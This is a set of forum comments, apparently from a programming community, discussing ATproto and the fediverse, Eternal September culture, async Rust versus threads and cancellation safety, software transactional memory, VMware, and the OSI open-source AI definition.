All that said, ATproto seems really interesting to me as an app platform, especially outside the context of microblogging. There are ActivityPub servers that don’t do microblogging, like kbin and Lemmy for Reddit-style link aggregation. But you can’t really use your Mastodon account to, say, submit a link to Lemmy (you might technically be able to? But not like natively in the UI). If I understand correctly, in ATproto, you could do the same thing entirely natively and it’d work just like you’d expect: you could use the same DID as Bluesky, your posts would get put in your PDS, then the app’s relay would aggregate posts and comments and whatever from all PDSes. Jetstream seems like an important piece of this puzzle though, which means that different platforms can run smaller relays that only grab relevant data from PDSes
It does seem clear that there is currently an ongoing exodus from Twitter to Bluesky specifically; if a lot of people have opened fedi accounts this month I haven’t heard about it. But there are a lot of people on fedi (like you and me) who migrated there 2+ years ago who don’t seem to have a strong desire to move to something else.
I think you’re right that a lot of people just bounce off of Mastodon’s UI, while Bluesky is much more approachable and mass-market. (I say that approvingly!) Bluesky is definitely “winning” right now at being a more familiar Twitter replacement. But I don’t think it’s necessary for either one to “win.” I guess we’ll wait and see how Bluesky decides to monetize, or what its business plan is. In the meantime, it seems like it could be a stable equilibrium for Mastodon/fedi and Bluesky to coexist, serving two different niches.
*nod* Like how retrocomputing hobbyists still hang out on traditional forums like VOGONS, VCFed, 68kMLA, some Amiga and Atari ones I’m forgetting the names of, etc. or even on the non-binaries side of Usenet.
We don’t need a unified one-size-fits-all solution for everyone.
Unfortunately, “network effect” makes that less true than it feels like it should be, because it means that part of the goodness of your solution depends on how much of your audience uses it. Obviously, it weighs differently for different user communities. For my nontechnical family and friends, it’s huge. I basically get email, text and maybe one other thing that they’re willing to sign up for and learn. For other social groups, that’s less significant, either because they’re willing to learn and use more things or because they’re smaller groups and it’s easier to get that critical mass onto something new if you can persuade just a few people that it’s advantageous to do so.
I wrote that with full awareness of network effects.
…as well as how, for more technical groups, the obscurity of a technology may go beyond “not an issue” right into “a feature” because their obscurity is seen as akin to how that one math forum has a CAPTCHA that doubles as a skill-testing question. (See Usenet, Gopher, Gemini, etc.)
An alternative phrasing of this point could be “not everyone likes the Eternal September”.
That’s sort of inherent in what Eternal September is. It’s having your culture flooded out by the mainstream. “We are the Borg. Your cultural and technological distinctiveness will be added to our own. Resistance is futile.”
I’m reminded of how, initially, I felt there was something wrong with Jason Koebler’s argument in It’s September, Forever but I couldn’t put my finger on it. It didn’t help that I’d also read Ryan Holiday’s Unpacking the Absurd Logic of Cultural Appropriation—and What It Will Cost Us. (Both good articles from what I remember of the last time I read them.)
I was having trouble figuring out the underlying logic and internal consistency when it seemed like the argument was that cultural appropriation is bad when it’s the minority’s culture being appropriated… yet Usenet’s old culture was a minority… they were just privileged in their access to technology. …and it was bad when colonialism forced culture on others “for the greater good”… but that’s also what Eternal September did.
It was only a few weeks ago when a friend got me out of the rut I didn’t realize I was in by pointing out that the nerds on Usenet may have been privileged in that they had access to the technology… but, culturally, nerds have historically been a disadvantaged minority. From that perspective, Eternal September was effectively the jocks excitedly realizing the the nerds had made something cool and grabbing it, knocking them over in the process without even acknowledging what they’d done. FFML-era fanfiction culture and early anime culture also shared that distinctive flavour from what I saw of them and I think it lingered longer there because it took longer for fanfiction and anime fandom to become mainstream than the Internet in general did.
I’m too young to have been on Usenet before the general public got access to it but, from the artifacts of that culture which I experienced as a nerdy teen in the late 90s and early 2000s, I can say that it had a distinctive flavour to it which I’m guessing was characteristic of college/university nerd culture in the 80s.
…so how does one ensure fairness in a situation like that when the people relying on their obscurity haven’t imposed any other measures to limit the influx of new members to a rate where they can inculcate them into the cutlure? It’s an unsolved problem.
In that sense, staying on technologies like Usenet or Gopher, and inventing technologies like Gemini have an element of “trying to repair your house after the unwanted party-crashers trashed the place and moved on, hoping you can get back in touch with the people you got along with but didn’t exchange contact details with yet”.
To clarify, my phrasing was intentionally a bit ironic, aware that hypothetical persons who would call it “Eternal September” could be presumed to dislike it.
Fair. I think you ran afoul of the same kind of miscommunication that I was aiming to avoid by being more descriptive and less concise.
First of all, I agree with quite a few of the drawbacks of async Rust in this article! There are a lot of sharp edges in async Rust (if I found a magic lamp today, my 3 wishes would be for stable coroutines, async drop, and world peace)
But personally, I feel like I get a lot of benefits out of async Rust. I usually default to async-first, even for small CLI tools or throwaway scripts. That’s partially driven by the ecosystem adoption, but I do feel like I get a lot of mileage out of async.
Example: let’s say I need to download 1,000 files or so. What are my options for scheduling the downloads in sync Rust?
Oops, that just ate 4 GB of memory due to the per-thread stack sizeEdit: see below, this is wrong.par_iter()on the iterator of things to downloadOkay, and what about async Rust? (and I’ll assume Tokio just because that’s what I’m most familiar with)
LocalSetto spawn all the downloads so they run on the same OS threadfutures::FuturesUnorderedto spawn all the downloads so they run as part of one Tokio task.buffered(n)so onlyndownloads run concurrentlyspawn_blockingor channels)I’m sure there’s more options I didn’t think of, but the point I want to hammer home is that I get a lot more options for managing concurrent work in async Rust than I do with sync Rust. In fact, it’s pretty easy to see some parallels between the sync options and async options! If you’re already content with using a pool of worker threads with channels, it’s generally pretty easy to just move to worker tasks in Tokio
So the key benefit to me of async Rust is that I can just
tokio::spawnas much work as I have without really thinking too much about the cost (or shape the work into multiple tasks in the way I see fit), then separately configure the runtime to control how that work should be split across OS threads. In async Rust, I can manage concurrency separately from parallelism– that’s not really possible today with sync Rust, or at least not to the same levelNo, spawning 1000 threads to download stuff would not allocate 4 GB of memory. A cost of a thread is a couple of pages, so I would expect this program to run in under a hundred megs
Ah, fair (in my defense, I checked the Rust stdlib where the default stack size per thread is 4 MB, but I didn’t consider how that interacted with virtual memory pages)
Just for my own understanding though, how would that work on a 32-bit system? Even though each thread only needs to use a few pages of memory, I’m assuming that 4 MB per thread is still reserved in the process’s address space, meaning 1000 threads at 4 MB of stack size (even unused) would basically be the upper limit? Or is that not how it works? (It’s basically a moot point nowadays of course since 64-bits of address space is unfathomably huge)
Yes, on a 32 bit system you’d run out of address space! So at some point a mmap call to setup new thread’a stack would fail, and thread::spawn would error out.
Which is not that different from the actual behavior you’d observe on a modern os. Spawning would start erroring out somewhere between 1k and 10k threads, it’s just that this wouldn’t have anything to do with memory in particular.
For me, small CLI tools and throwaway scripts are where I most want to avoid async, because Cargo’s incremental build caching is fragile and, even at the best of times, I don’t want a pile more dependencies slamming my build times in the face after every
rustup update.Hell, aside from the lack of memory-safe QWidget bindings, a sufficiently advanced SQLite+PostgreSQL abstraction, and Django’s ecosystem, the build times involved in spinning up “a little script” are the main thing I think about when deciding whether to write something in Rust to plan for the inevitable “not really a throwaway after all” moment.
(Serde, Clap or Gumdrop as appropriate, Rayon,
ignore, etc. are very desirable things for little scripts and CLI tools.)I enjoyed how much surface area this article covered! But the conclusion makes me feel a bit alien– I feel like there’s been a recent trend pushing back against async/await quite a bit, but I like async/await!
So, if I call an async function– say
tokio::fs::read, I get back a future (or promise, task, whatever you want to call it). From there, I can use.awaitto “block” until it finishes (really suspending just like a coroutine, then resuming once the runtime tells us our future is done). But, just usingasyncandawaitalone wouldn’t be very interesting then!During day-to-day development, the real power comes from what you can do with a
Futurein Tokio (or aPromisein JS, etc). It’s like a monad that represents a value I’ll eventually get from the runtime, and having it wrapped lets me do some transformations on it first. It says “hey, this function needs to go do some work first, which could take a while… do you just want to wait for the value (.await), or do you want to do something else in the meantime (tokio::spawn)? or maybe you want to put a cap on how long it can run for (tokio::task::timeout), or maybe you want to wait until a bunch of futures are all finished (tokio::join!)? etc.” Keeping the option open to compose it before awaiting feels like a pretty powerful feature to me! No extra OS threads required.I see it as almost exactly analogous to Rust’s
Result<T, E>type versus languages with exceptions andtry/catch: it makes the code / control flow more explicit and it gives you more tools for composition. Then, for the common case where you “just” want to get the value, you get nice syntax for it (?/.await).Anyway, some meandering thoughts:
awaitcan give users syntax that “looks like” synchronous code while adapting well to the unique requirements needed e.g. by a game engine (IIRC Unity has a very similar feature too)In a language with virtual threads you can compose this just as well without promise and no extra OS threads needed. Imagine you had a
spawnstatement and structural concurrency, you could write code like this:This composes just fine! The
results.pushis a form of composition. Structured concurrency helps with the joining.Hmm, okay… so the main kinda selling point of this example would be that
.wait()can basically be called from any function (unlike.awaitwhich can only be done in anasyncfunction)? So effectively the same suspends, but allowed anywhere, i.e. avoiding the infectious nature ofasync/await? (I’m not very familiar with Project Loom except like the 10,000ft view so sorry if I misinterpreted the example above at all)In that case, I can definitely see the value of it! Well, I guess my excitement is still a bit tempered: I guess I just don’t feel that hurt having to sometimes decide between writing a sync or async function personally… but I can see why it’s a super interesting frontier for languages to explore!
I guess drilling down on it more,
spawn { }returns something that has a.wait()method… I guess that would be aFuturetype (or similar) that would be composable? The runtime is also a big question mark for me, I guess I’ll need to start doing some reading up on how Project Loom works! (and I think Zig is exploring the same space too, I’m especially interested in how this stuff would work in a systems language)It would probably be a
Threadobject or similar. It would purely compose based on you being able to wait on it. Not on being able to “attach” callbacks.I don’t think you even need Thread&wait() here? Just make
spawn {}block “block” until all childspawnexpressions finish.I guess the implied behavior here is:
spawn(block or expression) attaches to the current task and has an implied join (wait). So if the.wait()was not here, then it would require that someone else calls spawn. I tried to just not open too many cans of worms here with that example. There could also be some other form of “boundary” that achieves the same thing.As a Rust programmer, I see two problems with that:
(Yeah, I’m one of those people who’s hoping for the ideas around making functions generic over async-ness to bear fruit.)
I think that’s a valid point (and I’m definitely sympathetic to having sync/async-generic functions… I just published a crate this weekend that works with
std::io,tokio::io, thefuturestypes, so effectively supporting 3 different runtimes! Broadly the same code with very subtle differences between them)Regarding (2) first, it’s a fair point, but because Rust’s async story is “bring your own runtime”, this is “just” an ecosystem problem. Yes, it’s unfortunate that the ecosystem is so tied to Tokio, but I think the language itself is largely blameless (plus there are initiatives to support runtime-agnostic code even if not generic over sync/async, etc). But yes, it’s a genuine pain point today Tokio is practically the default runtime and avoiding it is hard
As for (1), I guess my feeling is that it’s a bit more nuanced…
Take async/await out of the equation. Let’s say I pull in a library in my application, and that library happens to use, I dunno, SDL3. I call a function from that library that, say, tries to render an image. Well, if my application doesn’t call
SDL_Initto set up the SDL runtime first, my call into the library will fail!Using, say,
reqwestin Rust is no different: it’s a library that uses a specific runtime (Tokio), and as a precondition to using it, that runtime must already be set up and running.It’s more like the “color” of a function in Rust isn’t whether it’s async or not, but which runtime it depends on internally. From that perspective, Rust is at least expressive enough to support “colorless functions” (no runtime needed) or “multi-color functions” (i.e. the designs around cross-runtime abstractions). But again, there’s more ecosystem work needed to bridge that gap, as lots of stuff in Rust does end up having a single color
I generally agree, and I do think the problem of being tied to specific runtimes will get better.
As I see it, the main hold-up is that getting the building blocks for that implemented (eg. “
async fnin traits” in Rust 1.75) is legitimately difficult to do well and will take time.…though that does remind me that I need to look into the appropriate venue to ask which of these approaches to async-less WASI preview 2 plugin APIs is more appropriate to ask for:
asyncfeature flag to thewasmtime-wasicrate so I can havewit-bindgenwithout waiting for Cargo’s perennially fragile build caching to periodically rebuild Tokio for APIs I don’t use, just so I can LTO theme out again.wasmtime-wasito usewit-bindgenif you’re not using the “System Interface” part of “WebAssembly System Interface” and just want the no-effortwit_bindgen::generateapproach to moving pure functions out into sandboxed, runtime-loadable, CPU ISA-agnostic modules.(Real problem. I have a fully sync Markdown renderer which I want to grow into a static site generator and things which perform no I/O like
<booklinks isbn="..."></booklinks>pull in Tokio to be eliminated by LTO just because my binding generator wants it for APIs I don’t use. I also have a PyQt+PyO3+Rust GUI app where I want to finish migrating the backend to Rust and, to move some backend plugins from the PyQt side to the Rust side, I need a replacement for the Yapsy plugin loader.)I think this is unfairly singling out a failure case that has been fixed by
async. The danger of promises never resolving is mostly limited to callback-based APIs — an this includes threaded code! Multi-threaded that uses callbacks/channels/events/actors can just as easily screw something up and forget to send a reply. But in code usingasync/await, you can’t forget to resolve a promise by accident.In any case, a function can run
while(true) {}, or more realistically some combination of locks that cause a deadlock. This can happen whether you use sync locks or async locks.But where promises/futures win over threads, is that they can have a timeout! I can receive a
neverSettle, and time it out. In Rust, a timeout can even reliably stop future async work. OTOH, I can’t timeout an OS native thread — the APIs for killing threads are all broken, and less buggy alternatives require a lot of manual plumbing.The argument about backpressure also seems weak. I’ve built very-high-traffic image processing pipelines in Rust’s async, and I could manage backpressure without problems. Async can have counting semaphores and explicit queues. You can risk buffering and spawning too much work before the semaphore, but that’s not that different from throwing too many tasks into a thread pool or a channel. If you have a thread-per-request model, you still have an incoming request queue in your server somewhere, or you shed load. A strict thread-per-request makes it hard to fully utilize the CPU when you have a workload mixing network requests (web APIs, external DB) and processing, and if you add more threads, you have to manage the load.
I feel like your argument about async fixing non resolving promises can also be used here. If you can only create promises from async APIs then that is not a problem. Likewise why should threads not have timeouts? You can do a lot of stuff to improve the status-quo, and structured concurrency is all about cancellation. That concept works and it can work equally well with threads and async.
That back pressure is hard with asyncio is a known problem. The non awaitable write is a known issue, but the API can no longer be fixed because it would break too much code. You will eventually run into code that you wish buffered, but now it’s in a public API that cannot be changed easily any more.
Interpreted/VM languages can have threads with timeouts. OS threads can’t, because they can’t guarantee that locks support cancellation, and you can be left with thread-owned locks remaining locked forever. It’s a game over if that happens to be your memory allocator’s lock. The OS can’t help here much, because native code can have DIY locks and clever use of atomics, which will break if the code suddenly stops in a critical section. In an alternative universe it’d be solvable with ways to mark critical sections and cancellation-sensitive stack frames, but our current OSes and mountains of legacy code don’t have that.
The way I see it,
asyncis just a syntax sugar. In terms of what you can do, and problems you need to deal with, they’re pretty much equivalent. You’ll need to deal with race conditions if you have stuff running concurrently, regardless whether that’s threads or promises. You will have to deal with queueing and backpressure, regardless whether that’s blocking on a channel or awaiting a callback.In most languages async is implemented on top of threads, so of course threads can do everything. You can build primitives for all kinds of tasks, fork-join, etc. It’s just that for some things, the constructs and syntax you need in imperative blocking threaded code gets ugly. To cancel, you need to propagate the cancellation yourself up the stack. If you ever need to stop and resume a blocking thread code, you either keep the stack and block the threads until resume, or you need to write state machines or continuation callbacks, that essentially reinvent async without the syntax sugar.
Isn’t that a problem of asyncio, not async in general?
I think the discussion here is complicated by the fact that async implementations vary a lot, and have their own problems. For example, async stack traces usually suck, but Rust’s
poll()design gives it a real stack trace. But Rust’s async has Rust’s barriers to entry, so won’t replace Python or JS.Sure, but that is the same if i write something stupid in an async function. On that level there really is no difference between a virtual thread and an async function.
asyncI would argue is based on the idea that not everything needs to be able to suspend. That causes a problem if you need to start introducing back pressure in a place that is currently not async and thus not able to await. My core argument is, that this is the core of the problem.Yes, and that’s also one thing that I found out of the years. Different communities have very different takes on this despite it having the same syntax. For instance some people think that async implies single thread, or that async implies thread pinning, or that async means that you don’t need synchronization. In some languages some of those things are true, but it’s not all the same.
It’s devious in a way.
No, absolutely not. Using
mallocis not considered doing something stupid, butmalloc(and most other thread-safe functions) cannot be safely cancelled. Even well written code can’t be safely cancelled. The established execution model made it absolutely fine and normal to write all code in a way that relies on threads executing to completion (or the whole process dying at once).Any thread can use an atomic to set “I’m using this object how, wait until I finish” on any piece of memory, and then get killed, before it had a chance to undo that. Other threads seeing this will spinlock and/or park themselves forever, and there’s no mechanism for the OS/runtime to fix that, because it was just a write to memory somewhere, with no OS-level object associated with it. This isn’t bad code, this is the best practice for locks that have a fast path when uncontended.
Optimizers assume code without function calls will always run to completion, so they can reorder writes to memory that aren’t observable. But if thread is killed in the middle of that, and you manage to unlock its locks, that state can become observable and look like time-travelling garbage.
This still has nothing really to do with
async/awaitor VMs. You said yourself this could be solved in an alternative universe by marking critical sections- the important thing is purely that making cancellation work requires some level of cooperation from the canceled task.Really the point is just that we are also already there in this universe, in various ways. Much of this kind of native code already uses destructors to clean up after itself. Even when it doesn’t, it often has to account for errors, whether reported from system calls or discovered on its own.
Of course this kind of code is also often imperfect, but by the time you make that argument we are already back to “that is the same as if I write something stupid in an async function.” It’s only a matter of degree and API design, not something people only only do with
asyncor a managed language.I have thinked about this topic a bit and was wondering how much history “transactions” have in case of language design? What I’m thinking of (to improve optimizability with exception, not cancelation, but still relevant) is simply that certain functions have a corresponding reverse operation as well – e.g. a List::add method can trivially be done backwards (assuming single ownership), so executing it optimistically becomes possible. The slow path of an execution can simply execute the reverse to get back to a safe state.
You might want to look into STM.
It’s not particularly well adopted and you can derive, that it’s a handful of people that are interested in it. It found adoption in the Glasgow Haskell Compiler, PyPy temporarily and lately there has been talk about Epic’s Verse programming language eventually getting support for it.
Haskell and Clojure both have implementations of software transactional memory; I don’t know much about the former, but the latter at least snapshots state (instead of inverting). I guess as long as your data type has the right kinds of properties (commutativity and etc.) it would be trivial to do it with an inverse!
The closest experiment that I know of is the software transactional memory (stm) library for Haskell.
It relies on the immutable nature of the language, combined with guarantees of absence of effects in pure functions.
This is not something that is practical to retrofit in other languages.
So, I think does underscore a genuine problem: the biggest one being “if I call an async function but don’t await it, does it run?”. There is definitely nuance between languages about async/await, which is a rake many users could hit when stepping between languages.
But worse than that is that different languages have different rules around concurrency and threading in general! Most languages just throw you in the deep end and expect you to use mutexes yourself; Objective-C has a special
@atomictag you can add to members for thread-safe access; JS of course is only single-threaded. These are the deeper design conflicts, which I’d argue could be amplified by async/await but are not caused by it.From a user’s perspective, these are confusing and conflicting ideas. But from a language design perspective, this makes async/await a very useful and flexible tool! Project Loom took a long time to finally ship, I imagine it implementing it was a huge lift both on the Java frontend and on the JVM side (but happy to hear more details if not!). In contrast, it’s easy(*) to take an existing imperative language, desugar your async/await into a coroutine or whatever, then to build a little runtime that can suspend/resume properly. The contract is pretty simple, the resulting code does a pretty good job of looking kinda like the synchronous equivalent, and it’s been applied everywhere from embedded development (in Rust of course) to game engine scripting (Godot) to UIs (like in C# as mentioned).
(*) relatively speaking of course! Not speaking from experience, but as I understand it, desugaring async/await into CPS isn’t really a huge ordeal
I think
async/awaitdidn’t take long to ship in Python but the cost of making i useful got amortized over many, many releases. There were a ton of rough edges with it for a long time. Additionally despite all of that, the unsolved complexities are now delegated for everybody to solve on their own. Even today Python still does not have a way to read asynchronously from a file.You are right in that if you opt to not solving a problem it’s easier to do, but I also think there is a shitty version of virtual threads you can ship quickly. In fact, Python had that: greenlet and gevent. That also worked and if anything that was even more pragmatic than async/await.
Glad to see this!
I’ve been (a little begrudgingly) paying to re-up my VMware license occasionally because I’ve found it just does better for virtualizing desktop OSes over VirtualBox. I’ve had a very good experience with the virtual GPU over anything I could figure out how to do with OSS offerings— short of doing full PCI passthrough. I even ended up using a Linux VM in a Windows host via VMware as my daily driver for a while, and it felt basically on par with running Linux natively! (In some ways it was better, as I didn’t have to deal with the pain of Nvidia’s drivers— no idea how much less painful it is these days)
Since then, WSL has mostly filled the niche for me, but I still turn to VMware if I want a local VM for whatever reason (it comes up occasionally for me)
I have mixed feelings about this definition. It’s at least better than the status quo, where you see companies both big and small haphazardly throwing model weights out in the world and calling them “Open Source”, despite them not being… source code. I’ve also seen the term “open weights”, but as far as I can tell, this isn’t rigorously defined anywhere, so usually it just means “you can download the weights” but anything beyond that is a coin toss
Then, there’s the fact that it doesn’t require the data to be provided, just described in detail such that someone could reproduce the results. This is practically sensible, since as best as I can tell, no one is releasing the full data sets for their state-of-the-art models. But it still feels like a very weak stance (personally, I feel like training data sources is one of the biggest ethical problems for LLMs / AI models right now, and my impressions from the sidelines is that it’s an open secret that basically all the competitive players in the space scrape data that they don’t really have the right to train on). The FAQ provides a justification for this, but I’m still not swayed